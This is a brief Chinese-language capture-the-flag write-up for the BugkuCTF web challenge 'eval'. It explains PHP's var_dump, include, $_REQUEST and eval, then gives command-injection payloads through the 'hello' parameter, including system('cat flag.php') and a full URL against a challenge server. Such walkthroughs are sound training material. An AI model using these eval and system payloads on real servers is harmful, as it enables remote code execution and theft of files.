BugkuCTF-WEB题eval

基础知识：
var_dump() 函数用于输出变量的相关信息。
var_dump() 函数显示关于一个或多个表达式的结构信息，包括表达式的类型与值。数组将递归展开值，通过缩进显示其结构。

此题考察php相关
include是将flag.php文件包含进页面代码
$request可用于接受get和post的传递的参数
eval函数可以把字符串作为php命令执行

知道这些你就可以用get方法传递hello变量，并在hello其内写入查看flag.php的命令了

?hello=file(‘flag.php’)
或者
hello=system(“cat flag.php”) 查看源码

http://114.67.246.176:16602/?hello=system(‘tac flag.php’)